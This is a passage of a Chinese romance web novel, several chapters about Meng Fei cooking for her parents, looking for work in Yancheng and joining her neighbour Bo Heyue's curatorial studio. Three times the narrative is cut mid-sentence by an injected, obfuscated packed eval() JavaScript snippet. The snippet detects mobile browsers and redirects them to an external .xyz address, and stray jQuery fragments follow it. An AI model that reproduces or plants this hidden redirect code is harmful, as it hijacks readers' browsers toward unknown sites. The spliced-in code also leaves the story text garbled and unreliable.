此后，薄贺樾吃过两次她做的午饭，每次都是满口的夸赞，不过那时候的孟翡也知道，他的夸赞大概还是出于礼貌，毕竟自己刚开始学做饭，有时候放调料的量掌握不好，导致菜的味道有点奇奇怪怪的。 不过最近是没法给薄贺樾送了。 他出差了。 孟翡有点遗憾。 …… 此刻的薄贺樾正蹲在一地塑料垃圾中间，他的脸上带着显而易见的疲惫，这是他在京城的第五天。 大学同学策划的展览出了点状况，此时正在国外的他只能拜托薄贺樾来这边处理一下。 薄贺樾知道后，二话不说就连夜赶到位于京城的场馆，和同学熬夜打视频，两个人一同商讨出具体的方案。 这次的展览是以环保为主题的，在原来的策划中，场馆的中央会放置一个用废纸做成的山脉，可是这个作品的作者却在临时反悔了，理由是怕自己的作品在运输时受损，宁愿赔违约金，也不愿意将作品运来了。 这中央的场地也不能空着吧？ 薄贺樾和他同学商量着用空塑料瓶粘一个山峰应急。 这几天，他除了吃饭睡觉都在工地呆着，半刻也不曾懈怠。 场馆里其他区域都已完工，唯有自己周围还堆着材料，薄贺樾的眼睛已经有红血丝了，他闭上眼睛稍歇了几秒，又重新投入到工作中。 “您好！外卖到了！” 已经中午了，外卖员提来两大袋盒饭，薄贺樾给现场的工人们分完盒饭，自己也端着一盒去角落里吃，一边吃一边对着策划书细细看着。 盒饭嘛，谈不上好吃，也不算多难吃，它胜在出餐迅速又量大管饱，而且这场馆的位置实在有点偏僻，周围只有这一家还算可以一点的饭馆。 今天的菜是西红柿炒鸡蛋与宫保鸡丁，全是下饭菜。 米饭有些黏腻，口感像是陈米，西红柿炒鸡蛋也不是他爱吃的甜口，菜里面貌似还加了醋，宫保鸡丁中的胡萝卜还没有断生。 不过，曾为英区留子的薄贺樾倒是一点也不嫌弃，一口一口地将饭菜送到嘴里，慢条斯理地嚼着。 上次吃西红柿炒鸡蛋还是孟翡给他送的午饭，他想。 那天薄贺樾去燕城钢铁厂采风，到小区门口时都快中午了，在点外卖还是自己糊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16375920|184053||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弄糊弄吃口方便面中，他选择了找孟翡。 原因无他，薄贺樾低头看看手上那些在夏日阳光下闪烁着光芒的金属戒指们，无端地想到了那天孟翡的眼睛。 亮闪闪的，和世界上最珍贵的钻石一样。 收到信息后的第三十五分钟，孟翡敲响了薄贺樾家的大门，她正有点踟蹰地等着薄贺樾开门。 说实话，孟翡真的有些后悔那天自己提出的“方案”了，早知道做饭这么难，她一定不会说出那句话。 呜呜呜，现在真的是欲哭无泪了。 可是现在后悔也晚了，既然和人家都约定好了，就只能硬着头皮去做吧，万一薄贺樾那个家伙口味奇怪，偏偏喜欢这一款呢。 孟翡看着玻璃饭盒里那炒得稀碎的鸡蛋，心虚地低下头。 虽然概率小了那么一丢丢，但是总不是没可能的……吧？ 这是她炒得第二盘了，上一盘糖放多了，被她呲牙咧嘴地倒进自己的肚子里了，这一盘的品相还稍好一些，糖也没有那盘的多。 “吱呀”一声，薄贺樾毛茸茸的红脑袋从防盗门后探出，见门口是她，又露出标志性的虎牙，他刚洗过澡，发稍上还带着一点湿润的水汽，原来深红色的头发有点褪色，变得偏向于粉色。 还怪好看的。 不过孟翡现在也没心思欣赏这漂亮的粉色，她咬咬牙，横下心来将手中的饭盒递过去。 “今天吃西红柿炒鸡蛋。” “谢谢你，孟翡。”薄贺樾接过饭盒，“饭盒等我洗干净后给你送过去。” “嗯嗯。”孟翡转身回家，她实在不愿面对将要品尝到她“大作”的薄贺樾。 心虚，非常心虚。 干脆下次直接给他点外卖吧。孟翡背靠着门，认真地想。 薄贺樾打开饭盒，将菜和米饭都倒进自家的碗里，然后品尝一口。 嗯！还可以！而且是他喜欢的甜口西红柿炒鸡蛋。 薄贺樾就着米饭将那盘菜一扫而空。 …… 宫保鸡丁的酱汁混合着一点鸡蛋碎铺满在米饭上，薄贺樾一手扒饭，一手继续翻动着设计图。 后天，展览就要开始了，而明天也将是他们施工的最后一天。 他咽下最后一口米饭，无端想起了那天他拎着行李箱出门时的场景。 “哟？你要出差呀？”孟翡刚从超市回来，袋子里装了些水果和蔬菜，还有她最爱的黄瓜味薯片。 “嗯嗯，要去京城几天。”他看着孟翡袋子中的胡萝卜和黄瓜，有点好奇地问，“中午吃宫保鸡丁？” “好家伙，这你都能猜出来？”孟翡大惊失色，“今天准备二战宫保鸡丁，上次做得简直一整个大失败。” 她叹一口气。 薄贺樾理解地点点头，他上学那时候也是，虽然是对着菜谱做的，但是怎么吃怎么怪。 “要是我成功了的话，回头给你尝尝这个。”刚刚还在叹气的姑娘又恢复了状态，气势汹汹地拎起胡萝卜，对薄贺樾说道。 “好啊！我等着。” 8. Chapter 8 今天没有敬老院的活动安排，但孟翡还是早早地起床了。 买菜嘛，自然是去得越早就越新鲜。 还有不到六小时，孟家父母就要到家了，想好好露一手的孟翡自然是闲不住，她快速洗漱好就换衣服直奔菜市场。 晨间的日光没有那么强烈，孟翡就干脆没穿防晒衣，微风轻轻地荡在胳膊上，柔柔的，却也凉凉的，有一种秋天特有的氛围，她踏着朝阳走向离家最近的市场。 哟！还以为自己已经足够早，真没想到这个点的菜市场就这么热闹了，孟翡打着哈欠从门口排队买煎饼的人群中挤过来，这个市场不算太大，进门这边多是卖早点的，蔬菜和肉类都是在偏后一些的位置。 同样的菜，市场的价格要比超市低一点点，但是很多菜都被老板捆成一大束，也不能拆开卖，平时就她自己吃饭，一顿实在吃不了这些，所以只能无奈地放弃从这里买菜。 才不是因为她起不来呢！ 才不是！ 孟翡耐心地蹲在小摊贩前，从那堆包菜中挑出一棵品相最好的。 “老板，我要这个，称一下吧。” …… 窗外阳光明媚，是一个适合出行的好天气。 孟翡在厨房里热火朝天地忙活着，大大小小的锅具占据了大部分空间，电饭煲咕噜噜地吐露着饭香，烤箱、空气炸锅都被她派上用场，在各自的岗位上兢兢业业地工作着。 她揉揉脖子，感觉这做饭对她来说真是件体力活。 “小翡！”门口传来了钥匙扭动锁芯声。 “妈！”孟翡像小时候一样去门口迎接着，“诶？我爸呢？” “去给你买炸鸡了，你不是昨天发朋友圈说想吃炸鸡了？” 是想吃不错，可是现在正减肥，孟翡叹口气，今天是没有这个“口福”了。 孟母把行李放下，转身仔细打量着女儿。 “哟，你看看你，都瘦成啥了……” “瘦点才好呢。”孟翡把行李拖到书房，又催促孟母去洗手换衣服，“好不容易才减下来的呢。” 孟母沉默一瞬，又试探性地开口：“那你一会儿还吃炸鸡吗？” “真能看出来我瘦了吗？”她想了想，小心地问道。 “能。”孟母倒是言简意赅。 “……吃！”对上孟母势在必得的眼神，孟翡无奈地又叹口气。 谁叫那家炸鸡是燕城最有名的炸鸡呢！ 那就明天再接着减肥吧…… 等孟父回来，一家三口便热热闹闹地开饭了。 孟翡将这一上午的成果依次从厨房端出来， “这是小炒牛肉、这是西红柿炒鸡蛋，这是素炒包菜……”她掐着嗓子，学服务员报菜名，毕竟不报菜名还真不行，虽然其他菜都能看出是什么，那道小炒牛肉确实有点看不出来。 孟家父母倒是很捧场，女儿每说一道菜名，他们都会品尝几口并开始夸赞。 “哎，你看现在小翡做的菜果然有模有样的。”孟母尝了一筷子包菜，对孟父说道。 “确实，确实，看来最近我们小翡没少钻研菜谱。” 孟父也附和着。 孟翡眯着眼睛听着夸她的话语，脸上的笑容也越来越大。 所谓“做饭一上午，吃饭半小时”，没过多久，三个人就将饭菜一扫而空。 说实话，孟翡感觉自己今天发挥得不错—— 除了那道小炒牛肉。 西红柿炒鸡蛋堪称完美，酸酸甜甜的口味恰到好处，连一向不爱吃西红柿的孟父都拌着汤汁吃了几大口米饭。 想起上次给薄贺樾送的失败版本，在对比今天的，简直一个天上一个地下。 她满意地看着空空如也的盘子们，再一次露出笑意。 回头也让那家伙感受一下自己的厨艺进步…… “小翡啊，这次和爸妈一起回鹿城吗？” 瞥一眼女儿的脸色，孟母斟酌了一下开口。 “啊？”孟翡一下子没回过神。 她低下头，爸妈的意思她知道。上个月出了那件事，自己的心情实在不好才回了燕城，现在状态也调整得差不多了，他们还是想让自己回鹿城，毕竟那里工作机会也多一些。 是的，她前不久已经和父母说自己不愿再写小说了，准备尝试一点其他的工作。 孟翡咬咬嘴唇，喝了一口果汁，其实这话在她的心里也滚了又滚，连自己也没想好究竟要去那里。 也许过了很久，也许只过了几秒钟。 她抬起头，对上父母关切的目光。 “我还是想先在燕城找找工作，比起鹿城，还是这里更让我舒心。” “而且我现在还做着敬老院的志愿者……” 说完这些话，孟翡突然有一种如释重负的感觉，仿佛这个决定早就被自己深埋于心，只待说出。 在这些日子里，她每一天都过得充实有趣。 孟父和孟母对视一眼。 “我就说她肯定想留在这里吧。”孟母无奈开口，也喝了一口果汁。 “行，都随你，闺女你怎么开心怎么来，什么时候想回鹿城都可以，或者去其他城市也行。” “爸妈都支持你，无论你做什么决定，爸妈都支持你！” 他们也想通了，无论在哪里都行，只要女儿孟翡能够开心生活就行，毕竟上个月自家女儿的状态他们也看见了，做父母的实在也不愿意让女儿回到那种痛苦的情绪之中。 “而且现在不想写就不写嘛。”孟母观察着孟翡，说道，“妈妈知道你因为写作的事一直都有点儿郁闷，咱做做别的也挺好，换换赛道嘛。” 顾汩也是这样说的。 “我们小翡无论做什么都好，别给自己太大压力了，开开心心每一天。” 孟翡的眼睛又开始发红，她低下头快速地抹一把眼角。 有家人和朋友的支持，真好。 …… 虽然孟母总在嘴上说燕城不如鹿城，但是这些天她在燕城是真的很开心。 孟母和她那些还留在燕城的同事们聚了好几次餐，了解了不少单位的最新八卦。 而孟父也是，和小区那些“下棋搭子”又聚到一起，继续切磋，每天都一脸高兴地回家，和她们娘俩汇报今日战况。 这几天敬老院都没有什么活动安排，孟翡老老实实地在家海投简历。 她本科读的是新闻，在就业率不高的燕城更是举步维艰。 连投了好几天简历，竟没有一家公司有音讯，想到这里，对着电脑看了一下午的孟翡都有点头晕。 孟翡有些颓然地站起来活动一下，又去饮水机那里接一杯水咕咚咕咚喝下。 八月底，燕城的最高气温也就二十多度，常温下放置的水经过喉咙有微微的凉，一杯水下肚，孟翡昏昏沉沉的脑袋又恢复了些许清醒。 “小翡！”孟母的一声吆喝更是让她彻底清醒过来。 “咋了呀，妈。”孟翡合上笔记本电脑，朝厨房那边看去。 “你爸等一下要炖排骨，你去剥一点儿葱……”孟母心疼地看着女儿有点憔悴的面容，孟翡下定决心在燕城找工作，这几天一直手机、笔记本电脑和平板不离身。女儿前几天还红润的双颊现在在孟母看来都有点蜡黄了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16375921|184053||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她在厨房打打下手还能少看一会那些电子产品，休息休息眼睛，也能转移一点注意力。 孟母叹一口气，看着女儿进了厨房：“再剥写蒜啊，小翡。” …… 炖排骨一向是孟父最得意的菜。 高压锅正呲呲呲地吐露着带有卤香的蒸汽，孟父手上动作没停，熟练地切着黄瓜丝，准备再调一个解腻的凉菜。 孟母在一旁快速地翻炒着香辣虾，整个屋子都是饭菜的香味，温暖又幸福。 天色有点发暗，路边的灯一盏一盏亮起，发出暖黄色的光，像圆圆的明月。孟翡蹲在厨房，仔细地清理垃圾桶旁掉落的发黄葱叶和蒜皮。 自从孟家父母回来后，“大厨”的位置总轮不上孟翡，她现在充其量也就算“帮厨”。 孟翡在心中暗叹，等爸妈回鹿城了，自己前一阵刚练出来的厨艺不会又被自己遗忘了吧？ 毕竟她感觉做饭是个熟能生巧的工作，等薄贺樾回来后要是做出很难吃的饭，面子可往哪儿搁啊，明明他出发前自己还信誓旦旦…… 孟父看看表：“还有十来分钟就出锅了，小翡你快点吧，一会儿咱就开饭！” 他的话打断了孟翡心中的碎碎念。 “知道了、知道了。” 孟翡麻利地将厨房的垃圾打包收好，换好衣服和鞋下楼扔垃圾。 楼下年久失修的路灯一闪一闪的，孟翡扔完垃圾就掏出手机给物业发语音。 “您好，三号楼，一单元门口的灯……” “不用发了，我刚刚已经去物业值班人员那边报修过了。” 熟悉的声音从身后传来。 是薄贺樾的声音，还带着一种懒散的笑意。 “回来啦，薄贺樾！”孟翡将手机塞回口袋，转过头去朝他笑笑。 薄贺樾还是老样子，只不过看起来有些疲惫，原先明亮的眼睛现在变得雾蒙蒙的，眼下还有一点青黑色，连那头张扬的红粉色头发都蔫了吧唧又毛毛躁躁的，一丛黑发从头顶冒出，一看就是很久没被好好打理了。 他拖着行李箱也歪着脑袋朝她笑。 笑容倒是还像以前一样，很有感染力。孟翡在心里嘀咕一句。 “回来啦！”薄贺樾将背包重新背回肩膀上，推着行李箱朝孟翡这边走来。 面对着有些日子没见的新邻居，孟翡想说点什么，又怕他感觉自己太烦，这种感觉很奇妙。 毕竟成年人的分寸还是要有的，孟翡想。 她憋了好久才憋出一句。 “吃了吗你？” 一句老少皆宜，老生常谈的问候，当不知道说些什么的时候，这可能是最好的办法。 “还没，正准备点外卖。”薄贺樾老老实实地回答了她的问题，顺手又抓了一下头发。 “咔吧咔吧”闪着的路灯打在身上的光忽明忽暗的，在微暗的天色中倒是显得颇有“舞台氛围感”。 不远处的几个孩子还在趁着这假日的余晖热热闹闹地玩耍，时不时传来欢快的笑声。许是这笑声太过热烈，或者是薄贺樾的神色实在疲惫得不像样子，更或是这夜风太过温柔。 “别点外卖了，我爸妈来了。” 似乎是想都没想，孟翡就冒出这样一句话。 “今天是我爸和我妈下厨，一会儿给你送点儿？他俩做的饭可比我做的好吃多了。” 薄贺樾有点意外，但是还是下意识点点头，还没等他说些什么道谢的话—— “小翡，客厅的垃圾忘带下来了……” 是孟母的声音。 “诶？小伙子，你是叫薄贺樾吧？” 9. Chapter 9 薄贺樾与孟翡隔着饭桌面面相觑，孟翡更是对着对方陷入了“我是谁？我在哪儿？我在干什么？”的沉思。 薄贺樾瞅瞅对面的姑娘，看着平时总是笑意盈盈的孟翡正表演着面无表情，他率先打破了这种局面，轻咳一声。 “饭菜真香，在楼道都能闻见肉香。” 说完他也陷入了安静，有些湿漉漉的红毛有些还在不服气地站着，和一脸沉静的薄贺樾格外不搭。 沉默、沉默，他沉默得就像那天加他微信时的孟翡。 “谢谢。”孟翡搓搓手干巴巴地说，给对面青年又续了半杯橙汁，她还是有点生气，实在不知道该说什么，孟父孟母倒是没感受到这种微妙的气氛，一个劲地劝孟翡和薄贺樾多吃一点。 “那肯定香啊，我可是放了独家秘方！”孟父得意洋洋，他满意地看着薄贺樾夹起一块排骨。 “叔叔真厉害，比外面的大厨手艺还好。” 一句话就把孟父夸得心花怒放。 “小薄啊，再来一块，多吃点！” …… 事情是怎么发展到这个地步的呢？ 一切还得从刚刚在楼下遇见孟母开始。 “诶？小伙子，你是叫薄贺樾吧？” “阿姨好，您叫我小薄就行。”薄贺樾朝孟母那边点点头，风将他的头发吹得乱七八糟的， 在旁边的孟翡则是一头雾水。 “我是和爸妈说了对面的谢阿姨一家搬走了，但是也没说过新租客叫什么名字吧……难道我记错了……” 她陷入了对自己记忆的怀疑，满脑袋问号地跟上他们的步伐。 “阿姨，再见。孟翡，再见。”到了家门口，薄贺樾客气地朝她们笑笑。 等各回各屋后，孟母才看见女儿一脸“快从实招来”的表情。 “你谢阿姨告诉我的，她说那个搞艺术的租客在咱这里采风，想采访几个老钢铁厂的职工，她就把我的微信推给小薄了。”孟母说道。 “估计要办什么展览吧。”孟翡接过孟母递来的垃圾袋，麻利地套在客厅的垃圾桶上，“他就是我上次说的那个志愿队的邻居，是个策展人。” 她去厨房里翻出几个一次性饭盒，准备给薄贺樾装点饭菜，可是孟翡总感觉有什么事情被自己忽略了。 当孟翡盛饭的时候突然意识到，薄贺樾那个家伙也太不够意思了，明明那次结束志愿活动后和小伙伴们一起去吃钢铁厂门口的刀削面时，自己还感叹这都过了这么多年了，味道依然和小时候爸妈下班后带回来的夜宵一个味道。 “你父母都在这里上班吗？”薄贺樾问。 孟翡往碗里又加了点辣椒：“是啊。” 这个家伙明知道自己是钢铁厂子弟，却宁可问谢阿姨要职工联系方式也不问自己。 这也太不把自己当朋友了！ 这下好了吧，兜兜转转，被采访者还是她的家人。 孟翡有点气恼，把饭盒里的米饭压了又压，松软的米饭变得和板砖一样。 “小翡？吃饭！”孟母推开厨房门，“你把饭装饭盒干什么？” “给对面的小薄送饭。”她说道，然后和孟母简单地讲讲以前他送药膏的事情。 听完孟翡的话，孟母摘下围裙想了想：“还是叫小薄来家里吃饭吧，正好可以把那采访完成了，省得我每天还惦记着这个。” “啊？这不好吧？”孟翡道，她继续往盒子里装菜“他刚回来就让人家在家里好好休息吧。” 孟母想了想，这也是，不过还是问一句比较好。 所以。 三分钟后，薄贺樾就出现在她家餐厅。 …… “小薄啊，你多吃点儿。”孟母也给他盛了一勺菜。 薄贺樾倒是什么都爱吃，坐他对面的孟翡感觉他好像是很久没有好好吃饭了的样子，连大米饭都被他品出珍馐的感觉。 她的嘴角不自觉地向上翘了起来，对面的薄贺樾好像看见她的笑意，夹菜的速度一下子拉慢了不少。 孟翡的笑容更盛，只能用埋头苦吃来掩饰自己。 吃完饭，薄贺樾就掏出录音笔，听孟家父母讲老钢铁厂的事。 “我是厂里安全科的，平时还是呆在办公室的时候比较多，我主要做劳保发放，夏天会有绿豆啊、藿香正气水这些……” 孟母很健谈，从刚开始上班的经历一直讲到退休。 坐在一旁的孟翡也听得入迷，父母都是厂内职工，他们回家后反而会很少提起工作，这些事也是她第一次听。 她抬眼看了一下坐在板凳上的薄贺樾，青年的表情格外专注，时不时在本子上记录着关键词和录音时间，一双眼睛礼貌地看向被采访者，随着讲述时而皱眉沉思，时而轻轻地笑着。 很专业。 孟翡评价。 …… 已是八月底，天气远没有之前的燥热，凉风习习，一丝“秋老虎”的影子也看不见。 这些天志愿团队一共有两次活动，孟翡都请假了，她要去面试，一家广告公司和一家直播公司都给她发了面试通知。 不过在她赶去直播公司后，那家公司的人事却说她的专业不符合公司要求。孟翡只感觉心累，非常心累，明明自己的简历上已经写明了专业…… 那家广告公司倒是给她发了offer，但是孟翡将它拒绝了，倒不是因为她眼高手低，而是在面试的过程中，她就感觉这家公司有点不正规，而且面试后她也在网上刷到了针对于他们的避雷贴。 这些日子，她感觉自己一下子老了十岁。 孟家父母已经在上周就回鹿城了，孟翡和广告公司的人事沟通完就颓废地瘫在沙发上，家里安安静静的，窗户也紧闭着，她挣扎起来给自己倒了杯凉白开，又把窗子开了一条缝。 今天天气很好，可是楼下玩耍的孩子却没有以往多，多半是在家赶作业吧，孟翡想着。 她不由得也回想起从前，小时候的自己也是这样，每到临开学就开始疯狂地赶着作业。不过语文作业她总是早早地做完了，同学们都不喜欢写作文，都想把这“苦差事”放到最后，可是她最喜欢的就是写作文了。 从今天都做了点什么的流水账到她自己编的简短童话故事……孟翡喜欢她笔下的世界。 她轻轻地垂下头，那种被她刻意淡忘的喜好再一次蠢蠢欲动，可是只要她面对着空白的word，这种蠢蠢欲动般的热情却像是被冷水浇透。 她一个字也写不出来。 孟翡叹口气，把那杯凉白开一饮而尽，她随手划拉开手机，又一次点进微博，意兴阑珊刷着主页。 主页上还是那样，几条明星讯息中夹杂着几个近期热播电视剧和电影的cut，还有一些博主们从各大软件中搬运的帖子。 “近期，你感到有些遗憾的事是什么？”，孟翡斜靠在沙发上随手点开这条微博，上面的回复多是一些有关学业和爱情的，她又往下划划。 “我没抢到我喜欢的一个小作者猫猫宁的出版特签呜呜呜，只能寄希望于下一本书了，但是她有一阵子没开新书了，要知道猫可是‘劳模’，以前从来没有在两本书之间隔这么久。猫啊猫啊！你快回来更文啊！” 孟翡哽了一下，出那件事前，她刚完结了上一本书，正满怀壮志地准备下一本书的大纲，可是— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16375922|184053||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' — 罢了。 孟翡放下手机，眯上眼睛，她在自己的作者微博上发过一个简短的“暂停开文”的通知。 她原本想直接说自己不会再写了，但是又在顾汩和家人的鼓励下改成了“暂停开文”。 其实她也不舍得这些可爱的读者们，也舍不得笔下的世界。孟翡想了又想，还是尊重了自己内心的想法，如果以后可以动笔，那她会继续创造属于她和读者们的小世界。 她睁开眼，划开手机，想了想又在那条评论下点了个赞。 孟翡迷迷糊糊地看一眼时间，还好，还能再睡半个小时左右。 闹铃准时将她叫醒，孟翡快速地收拾好自己，然后下楼与薄贺樾汇合。 夕阳西下，他们再一次踏上去敬老院的路，孟翡在心里想了想，似乎好久没和他一起去做志愿活动了，先是他出差，再是她请假去面试。 今天小区里确实安静得过分，要知道这个时间在平常可是孩子们玩闹声最大的时候。 孟翡又一次想到那个“赶作业论”，忍俊不禁。 走在她身边的薄贺樾正好为她挡住了太阳光，他侧过头看看这个显然是想到了什么好玩的事情正在憋笑的姑娘，也弯起嘴角。 他这一晃神间，便比孟翡落后了半个身位，她乌黑柔顺的头发暴露在夕阳的余晖中，有一种特殊的金灿灿光芒，在这一瞬间，薄贺樾竟目眩神迷起来。 小巷子里倒是比小区热闹得多，几个小摊贩已经出来营业了。 一路上两人无言，只是在见面的时候打了个招呼。 孟翡的心中还对前几天薄贺樾“不够朋友”的事有些耿耿于怀。 还是那句老话，犹豫就会败北。 “薄贺樾，你太不够意思了。”孟翡鼓着嘴开口，“怎么不找我要联系方式呢？” 好吧，又是口误。 她在心中叹气，自从认识薄贺樾后，自己就在口误的道路上一去不复返了。 孟翡刚要解释一下，薄贺樾就理解到她的意思了。 “我原本想找你帮忙的。”他老实巴交地解释，“只不过看到你微信状态一直都挂着烦躁这两个字，我就没敢找你……” 后面几个字越说越小声。 好吧，误会解除后，两个人又恢复到平日说说笑笑的状态中了。 “我一直都没敢问你怎么了呀，怎么烦躁成这样？”薄贺樾侧过头看看她。 孟翡愁眉苦脸：“找工作嘛，在燕城找工作真的很费劲。” 她绘声绘色地给薄贺樾讲起面试经历，讲完后又切换到愁眉苦脸的状态中去。 “唉，难啊！”孟翡再次感叹。 “确实确实。”薄贺樾心有戚戚，他刚回国时也有过这种经历，最后还是咬牙创业，自己开了个小工作室，这才有了后面的成绩。 “诶？孟翡，你不是学新闻的嘛！”薄贺樾眼睛一亮，“你会视频剪辑和采访稿整理吗？” “当然了。”孟翡看他一眼，这些都是她的老本行了。 “我工作室正缺人呢，那些稿子太多了，我和团队那两个人是真搞不赢，你……要不要考虑来我这里？”薄贺樾问道，他看着身边沉思的姑娘，又补充一句，“五险一金，工资肯定比燕城的平均工资高。” “双休，加班会有加班费……”他又啰啰嗦嗦地继续说道。 哈？ Boss直聘这种好事终于轮得着自己了？ 孟翡矜持地点点头，又朝青年露出笑容：“那我以后得叫你薄总啦！” 咳咳咳，孟翡好笑地看着薄贺樾的脸越来越红，甚至和那头标志性的红毛一样红啦！ 10. Chapter 10 孟翡瞅瞅面前的青年，又看看电脑屏幕上密密麻麻的文字，一时间陷入恍惚。 这是她正式加入薄贺樾工作室的第五天了。 薄贺樾成立这个工作室主要为了他的新项目，这个项目过后，工作室大概率是要被解散的。 那天薄贺樾把这些都告诉孟翡了，叫她可以多考虑一下。 不过，孟翡没怎么考虑就很痛快地同意了，在她看来“临时工作”也行的。 这样就很不错了，解决了燃眉之急，而且工作室解散后她有了这份工作的经验，找其他的工作也许也会更容易一些。 见她同意，那天他们结束志愿活动后薄贺樾就立刻开始打电话。 而孟翡也在第二天就收到了正式的合同，检查无误后，她愉快地签下大名，正式成为工作室的成员。 工作室目前是线上办公而且是弹性工作时间，干完当日负责的工作后就可以休息，也不用每天早起去工位打卡，孟翡对这份工作满意得不得了。 周一正式入职后，她前三天都是居家办公，整理出三份采访稿，又把工作室共享文件中的录音重新整合了一下。 …… 薄贺樾坐在她对面，正昏昏沉沉地打着瞌睡。 此时正是老人们午休的时候，敬老院内安安静静的，只有风吹树叶的“哗啦”声。 秋意渐起，院内的大树也渐渐换上了温暖的色彩，没有夏日的炙热，只有带着些许温和的凉意，就连那“哗啦啦”的树叶跳跃声都沾染了几分脆劲。 他们之间距离不远，孟翡一抬头就能看见他，薄贺樾的皮肤偏白皙，眼皮薄薄的，微翘的睫毛随着呼吸轻轻抖动，像欲振翅的蝶。 薄贺樾累极了的样子，睡得很香。 以前她就感觉薄贺樾是工作狂，而在孟翡加入他的工作室后就更加深了这一印象。 他这个工作室刚成立不久，人员精简，加上刚入职的她也才四个人。 薄贺樾所策划的新展览是关于工业城市变迁的，昨天孟翡跟着他一起去拜访了另一位燕城钢铁厂的退休职工。 受访者住在市中心的老破小中，客厅逼仄，孟翡和薄贺樾都缩在矮小的马扎上。 男生个子高一些，骨架大一些，薄贺樾挤在角落里，蜷曲着双腿，莫名有一种可怜巴巴的架势。 孟翡用相机给老人拍了几张照片后，访谈就正式开始了。 她坐在一旁用录音笔记录，同时也在自己的笔记本上做速记。 一到工作中，薄贺樾就好像换了一个人一样，眼角眉梢都带着严肃，可偏生他天生眼尾上扬，这严肃中又不失笑意。 专业，认真。 孟翡也“唰唰唰”地快速写着，这是她正式工作后的第一次外采，她想着一定要比薄贺樾做得更出色才行。 薄贺樾也在自己的本子上写关键词，身边的姑娘在埋头苦写—— 他余光所见。 面前的老人还在讲述着当年和高炉的二三事，薄贺樾心里痒痒的，他很想看看旁边的姑娘。 他也不知道自己这是怎么了，他只能把这种莫名的感觉归结于此次外采是和别人一起来的，以往都是他自己…… 这样真的很不好。 薄贺樾抿起嘴角，克制住自己想回头的念头，重新把全部的注意力都放在面前侃侃而谈的老人身上。 趁老人喝水的间歇，他才往身边瞥了一眼，孟翡还在记录。 柔软的头发有几缕从耳后掉落，发丝搭在胳膊上，奋笔疾书的姑娘顾不上太多，那温顺的黑色便在胳膊上轻轻地晃荡着，浅浅的、柔柔的，发丝在本子上投下点影子，遮盖住一些蓝色的水笔印记。 孟翡的本子上记得满满当当的，还有一些看起来像是她自创的符号。 薄贺樾还没来得及收回视线，就猝不及防地撞上了孟翡的眼神。 “嗯？”她用眼神询问着。 薄贺樾有点不自然地收回视线：“没什么。” 他干巴巴开口，手上动作忙个不停，黑色水笔盖子合上又打开，还顺手又拨弄了几次红发，一缕不太听话的发丝绕在耳饰上，扯开的时候孟翡清楚地看到青年狠狠地皱了一下眉头。 孟翡满头问号，仔细思索一番。 “该不会是检查工作吧？毕竟现在自己是打工人，而他是老板……” 她在心里嘀咕一句，如临大敌。 老人喝足了水，也休息够了，又开始继续讲述，两个年轻人也继续着手中的工作。 “……厂里的高炉去年又关了两个……”老人咳了一声，才继续开口，声音之中有着显而易见的落寞。 他们从上班开始就和高炉打交道，这一相处就是几十年，他们看着燕城钢铁厂从小变大，扬名全国，也看着它又渐渐落寞，产能逐年减少，连带着燕城这座钢铁城市也逐渐归于平淡，直到现在在省内城市GDP排名中垫底…… 这确实很难不叫人感觉落寞。 连孟翡这种搬离燕城的年轻人都感觉伤感，更别提这些和钢铁厂打了半辈子交道的老钢铁厂人了。 和老人告别之后，孟翡和薄贺樾重新回到人声鼎沸的街面上。 孟翡的心里还想着刚才的采访，作为本地人的她心中依然有着别样的感觉，薄贺樾也一言不发，眉头紧锁，似乎还沉浸在工作之中。 夕阳西下，此时正值放学的时间，几个学生抱着崭新的书籍嘻嘻哈哈地从校门走出。 新学期开始了，每个人脸上都带着期盼和身边的小伙伴们谈笑着。 薄贺樾和孟翡肩并肩走着。 “孟翡，今天的采访稿不用当天整理完。”薄贺樾侧身躲过一个学生，快走几步追上她的步伐。 孟翡点点头。 “那我明天去敬老院再做吧，剪完视频就整理。”他们都收到了志愿队的消息，第二天将一同前往敬老院干活。 …… 今天的任务不算多，孟翡快速地为敬老院剪辑好视频，等审核结束后就可以发布了，在等待审核的间隙中，她熟练地打开工作文件，开始整理采访稿。 今天工作室的任务只有这一项，早做完早休息。 哞哞，发出“快乐”的牛马叫声。 而薄贺樾上午忙上忙下地搬了好多东西，着实干了不少体力活，现在仍然伏在桌子上轻轻地呼吸着。 他还在睡着。 树叶的“哗啦”声更急促了，孟翡敲打键盘的动作停了下来。 有点起风了，她抬头望望外面，刚刚还晴朗的天空中飘来几朵云，天色也有一点发暗。 